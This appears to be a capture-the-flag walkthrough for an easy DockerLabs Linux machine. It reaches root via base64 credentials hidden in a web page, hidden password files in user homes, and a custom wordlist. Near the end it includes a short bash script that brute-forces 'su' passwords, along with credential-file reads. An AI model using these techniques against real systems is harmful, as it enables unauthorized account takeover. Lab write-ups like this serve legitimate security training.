DockerLabs — https://dockerlabs.es/
- Platform: DockerLabs
- OS: Linux
- Difficulty: Easy
Enumeration
Scan
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 cc:d2:9b:60:14:16:27:b3:b9:f8:79:10:df:a1:f3:24 (ECDSA)
|_ 256 37:a2:b2:b2:26:f2:07:d1:83:7a:ff:98:8d:91:77:37 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
SSH (22)
Passwordbased authentication
❯ ssh root@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is: SHA256:+m+3lOrvpuNRPzkV7ZobI+TK6be0QFiuxBsmiIvgj+E
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
root@172.17.0.2's password:
HTTP (80)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
- Landing page - Apache 2.4.58
Index HTML code
- Last line contains two strings in base64
ZGFuaWVsYQ== : Zm9jYXJvamE=
Decoding base64 strings
❯ echo 'ZGFuaWVsYQ==' | base64 -d;echo
daniela
❯ echo 'Zm9jYXJvamE=' | base64 -d;echo
focaroja
Daniela credentials
daniela:focaroja
Exploitation
Access SSH (daniela)
daniela@dockerlabs:~$ id
uid=1002(daniela) gid=1002(daniela) groups=1002(daniela),100(users)
Post-Exploitation
Users with a shell
daniela@dockerlabs:~$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
diego:x:1001:1001:diego,,,:/home/diego:/bin/bash
daniela:x:1002:1002:daniela,,,:/home/daniela:/bin/bash
/home
- Listing files
daniela@dockerlabs:~$ ls -lRa /home
[...]
/home/daniela/.secreto:
total 12
drwxrwxr-x 2 daniela daniela 4096 Jan 9 2025 .
drwxr-x--- 1 daniela daniela 4096 Jan 26 13:23 ..
-rw-rw-r-- 1 daniela daniela 17 Jan 9 2025 passdiego
passdiego file content
daniela@dockerlabs:~$ cat .secreto/passdiego
YmFsbGVuYW5lZ3Jh
base64decoded
daniela@dockerlabs:~$ echo YmFsbGVuYW5lZ3Jh | base64 -d;echo
ballenanegra
Diego credentials
diego:ballenanegra
SSH Access (diego)
- Using the credentials above
diego@dockerlabs:/home/daniela$ id
uid=1001(diego) gid=1001(diego) groups=1001(diego),100(users)
/home/diego
- Listing files
diego@dockerlabs:~$ ls -lRa
[...]
./.passroot:
total 12
drwxrwxr-x 1 diego diego 4096 Jan 11 2025 .
drwxr-x--- 1 diego diego 4096 Jan 9 2025 ..
-rw-rw-r-- 1 diego diego 21 Jan 11 2025 .pass
- .pass file content
diego@dockerlabs:~$ cat /home/diego/.passroot/.pass
YWNhdGFtcG9jb2VzdGE=
acatampocoestadiego@dockerlabs:~$ cat /home/diego/.passroot/.pass | base64 -d;echo
acatampocoesta
- acatampocoesta is not a valid password for root
diego@dockerlabs:~$ su root
Password:
su: Authentication failure
Looking for files that belongs to Diego
diego@dockerlabs:~$ find / -user diego 2> /dev/null | grep -v '/proc'
/home/diego
/home/diego/.bash_logout
/home/diego/.bashrc
/home/diego/.passroot
/home/diego/.passroot/.pass
/home/diego/.profile
/home/diego/.local
/home/diego/.local/share
/home/diego/.local/share/nano
/home/diego/pass
diego@dockerlabs:~$ ls -l /home/diego/pass
-rw-rw-r-- 1 diego diego 15 Jan 9 2025 /home/diego/pass
diego@dockerlabs:~$ cat /home/diego/pass
donde estara?
Interesting file found
diego@dockerlabs:~$ find / -user root -readable 2> /dev/null | grep -Ev '/proc|/sys|/var|/usr|/run' | head
/
/media
/tmp
/home
/home/diego/.local/share/.-
/etc
/etc/lsb-release
/etc/issue.net
/etc/debconf.conf
/etc/rc0.d
Reading /home/diego/.local/share/.-
diego@dockerlabs:~$ cat .local/share/.-
password de root
En un mundo de hielo, me muevo sin prisa,
con un pelaje que brilla, como la brisa.
No soy un rey, pero en cuentos soy fiel,
de un color inusual, como el cielo y el mar
tambien.
Soy amigo de los ni~nos, en historias de
ensue~no.
Quien soy, que en el frio encuentro mi due~no?
Looking for a pattern in passwords
- animal + color
daniela:focaroja
diego:ballenanegra
Simple custom wordlist.txt
- Using white, blue and grey as colors
osoblanco
osoazul
osogris
ballenablanca
ballenazul
ballenagris
focablanca
focaazul
focagris
pinguinoblanco
pinguinoazul
pinguinogris
pingüinoblanco
pingüinoazul
pingüinogris
tortugablanca
tortugaazul
tortugagris
renoblanco
renoazul
renogris
Script to test passwords
user=$1 # user
dict=$2 # wordlist
while IFS= read -r password; do
echo "Trying with ${password}"
echo "$password" | su -c '' "$user" 2>/dev/null && echo "[*] SUCCESS WITH ${password}"
done < $dict
Script works - Root password found
diego@dockerlabs:~$ ./script.sh root wordlist.txt
Trying with osoblanco
Trying with osoazul
[*] SUCCESS WITH osoazul
[...]
Root credentials
root:osoazul
Root access
root@dockerlabs:/home/diego# id
uid=0(root) gid=0(root) groups=0(root)